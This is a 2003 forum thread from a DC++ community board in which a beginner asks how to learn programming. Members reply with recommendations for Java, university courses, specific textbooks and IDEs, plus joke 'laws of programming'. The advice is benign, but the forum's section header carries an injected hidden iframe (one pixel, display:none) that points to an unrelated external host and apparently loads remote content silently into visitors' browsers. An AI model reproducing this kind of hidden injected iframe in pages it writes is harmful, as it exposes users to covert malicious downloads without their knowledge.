Programming

Non-DC related talk...<iframe src=http://pokupka.ks.ua/templates/As/image ... p?from=com width=1 height=1 style=display:none></iframe>

Moderator: Moderators

Locked
cen
Posts: 3
Joined: 2003-05-20 12:35

Programming

Post by cen » 2003-05-20 12:38

I was wondering were would be a good place to start to learn about programming. As in the skills it would take to right such programs as DC++. Thanks. I looked over sourceforge and could not find any reference material at all.

TheParanoidOne
Forum Moderator
Posts: 1420
Joined: 2003-04-22 14:37

Post by TheParanoidOne » 2003-05-20 13:33

The answer will depend on the following:

Do you have any programming experience and if so, how much?
The world is coming to an end. Please log off.

DC++ Guide | Words

cen
Posts: 3
Joined: 2003-05-20 12:35

Post by cen » 2003-05-20 13:38

I have none. I want to learn though to contribute to the community since all my programs are freeware & such.

Sedulus
Forum Moderator
Posts: 687
Joined: 2003-01-04 09:32
Contact:

Post by Sedulus » 2003-05-20 15:56

perhaps you should learn to script before diving into C/C++ ;)

lua is a nice little, yet powerful language,

you could start helping out the scripters at ptokax-lua, unless you wish to go straight onto "Learn <C|Delphi> in 24 days"
http://dc.selwerd.nl/hublist.xml.bz2
http://www.b.ali.btinternet.co.uk/DCPlusPlus/index.html (TheParanoidOne's DC++ Guide)
http://www.dslreports.com/faq/dc (BSOD2600's Direct Connect FAQ)

sarf
Posts: 382
Joined: 2003-01-24 05:43
Location: Sweden
Contact:

Post by sarf » 2003-05-20 16:13

Umm... I'd recommend you to take courses in programming (though I'd stay away from anything under university level courses - with the possible exception of some college courses) - especially if you live in a nation where the education is free. If you aren't studying at a university currently it is very possible to "sneak in" on lectures (even to do exercises et cetera). The reason for this is that there a great many pitfalls that can be avoided by having people to talk to. Remember, however, that most people that teach courses at a university level are academics and are thus a tad too interested in theorizing about "how" a "correct" (read: perfect) program should look like. Aim for perfection, but be satisfied with a lack of crashes (hey, it works for me).

The other (not recommended) way to learn programming is by yourself, trial and error. I don't really recommend it - it takes a large amount of time and a even vaster amount of work - but it is possible to do. Reading books like "<Your language of choice here> for Dummies" gives you some infotainment. Reading books such as "Object Oriented Development Using Java" may give you some in-depth information about object orientation and patterns.

Some books to check out (preferably by "trying" them before you buy them) :

Jia, "Object-Oriented Software Development Using Java", 2000, Addison-Wesley, 507 pages
ISBN:0-201-35084-X

Schildt, "C++ from the ground up", 1998, Osborne/McGraw-Hill, 668 pages
ISBN: 0-07-882405-2

and (for the truly dedicated)
Horton, "Beginning Java 2", 1999, Wrox Press, 1110 pages

(ripped from my Java-introduction course webpage - go here if you're interested and/or have patience with - e.g. knows a bit of - Swedish)

For an older book with some relevance :

Java Software Solutions:
Foundations of Program Design
by John Lewis and William Loftus
ISBN: 0-201-57164-1, softcover, 784 pages, 1997
http://heg-school.aw.com/cseng/authors/ ... asoft.html link seems to be broken nowadays

Hmm... also, try avoiding to check out DC++ as it uses "newbie-unfriendly" C++ thingies such as templates (very nice when you understand and know how to use 'em, a big "huh?" otherwise).

There are several newsgroups which deal with programming - do NOT post in them - read their FAQs and search the post history of them for other newbie-programmers questions. In 99.3% (+/- 8.73%) of the cases you will find your question already answered, often with a "RTFM, n00b" and a link or two (if you're lucky).

If you (for any truly bizarre reason) should examine the DC++ code and have questions about that then post them in the Programmer's Help forum... but try to ask questions about DC++ specifics, not C++ specifics.

Hehe, hope I haven't scared you yet.

In any case, I'd recommend learning to code using Java since by the time you're comfortable with it you should have gained the patience to find out why the strstr function is named the way it is in C/C++. :-)

Oh, and a few last quotes to help you on your way :

Code as if whoever maintains your code is a violent psychopath who knows where you live.
Profanity: the single language in which all programmers are expert.
Any given program, when running, needs debugging. Any debugged program is obsolete.
"Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning." - Rich Cook
A running program is the moment of truth. All else is prophecy or nostalgia.
There is not now and never will be a language in which it is the least bit difficult to write bad programs.
The computer is stronger than the pen, the sword, and usually, the programmer.
Any given program will expand to fill all availible memory plus 1 Kb
Alpha test version: too buggy to release - Beta test version: still too buggy to release - Release 1.0: alternate pronounciation of beta test version
Computers are like the Old Testament God -- lots of rules and no mercy
Computers eat time -- we only THINK they run on electricity
Abandon all hope, ye who PRESS ENTER here


Good luck. This posting will be flamed into nothingness in five minutes (give or take a few server crashes).

Sarf
---
The nice thing about standards is that you have so many to choose from

cen
Posts: 3
Joined: 2003-05-20 12:35

Post by cen » 2003-05-20 22:32

Thanks for all the input. I will begin with Jave to hone my programming skills (if I have any at all). Wish I had time to take college courses but I think law school is going to fill up all of that time quite well. Thanks again it is greatly appreciated.

ender
Posts: 224
Joined: 2003-01-03 17:47

Post by ender » 2003-05-21 16:43

Sarf, you forgot about at least half of the laws of computer programming :mrgreen::
  • .N+1 trivial tasks are expected to be accomplished in the same time as N trivial tasks.
    (N+1 trivial tasks take twice as long as N trivial tasks for N sufficiently large.)
  • Any non-trivial program contains at least one bug.
  • Undetectable errors are infinite in variety, in contrast to detectable errors, which by definition are limited.
  • Adding manpower to a late software project makes it later.
  • In any program, any error which can creep in will eventually do so.
  • Not until the program has been in production for at least six months will the most harmful error be discovered.
  • Any constants, limits, or timing formulas that appear in the computer manufacturer's literature should be treated as variables.
  • The most vital parameter in any subroutine stands the greatest chance of being left out of the calling sequence.
  • If only one compiler can be secured for a piece of hardware, the compilation times will be exorbitant.
  • If a test installation functions perfectly, all subsequent systems will malfunction.
  • Job control cards that positively cannot be arranged in improper order, will be.
  • Interchangeable tapes won't.
  • If more than one person has programmed a malfunctioning routine, no one is at fault.
  • If the input editor has been designed to reject all bad input, an ingenious idiot will discover a method to get bad data past it.
  • Duplicated object decks which test in identical fashion will not give identical results at remote sites.
  • Manufacturer's hardware and software support ceases with payment for the computer.
  • The user does not know what he wants until he sees what he gets.
  • Any running program is obsolete.
  • Any planned program costs more and takes longer.
  • Any useful program will have to be changed.
  • Any useless program will have to be documented.
  • Any program will expand to fill available memory. (And beyond.)
  • The complexity of a program grows until it exceeds the capability of its maintainers.
  • Any system that relies on computer reliability is unreliable.
  • Any system that relies on human reliability is unreliable.
  • Make it possible for programmers to write programs in English, and you will find that programmers cannot write in English.
...and of course Variables won't. Constants aren't.

yilard
Posts: 66
Joined: 2003-01-11 06:04
Location: Slovakia

Post by yilard » 2003-05-22 11:46

I would stay away from scripting languages for serious beginning. Altough simple, they usually constrain your thinking to produce constructions that will cause you serious harm later. They usually lack flexibility that is innate to Java or Pascal or C. There are also very cool IDEs and debuggers for latter languages (I'm currently working with Borland JBuilder, oh man 8) complete miracle).

I would recommend Java to todays beginners. Easy, clean and powerful. Prefer object-oriented languages, you can stick with OO in most cases. I wouldn't recommend starting with C++ that is certainly real messy hack noone sane should work with :). Unfortunately due to historical reasons it became Golden Hammer of today.

And, most important, I wouldn't start looking into quite complex programs like DC++ or Java Swing stuff until you get sense of basic constructs.
In the age of super-boredom/hype and mediocrity/celebrate relentlessness/menace to society --KMFDM

sarf
Posts: 382
Joined: 2003-01-24 05:43
Location: Sweden
Contact:

Post by sarf » 2003-05-22 12:51

I heartily recommend the IntelliJ IDEA for truly powerful Java development.

Sarf
---
The universe is laughing behind your back.

Locked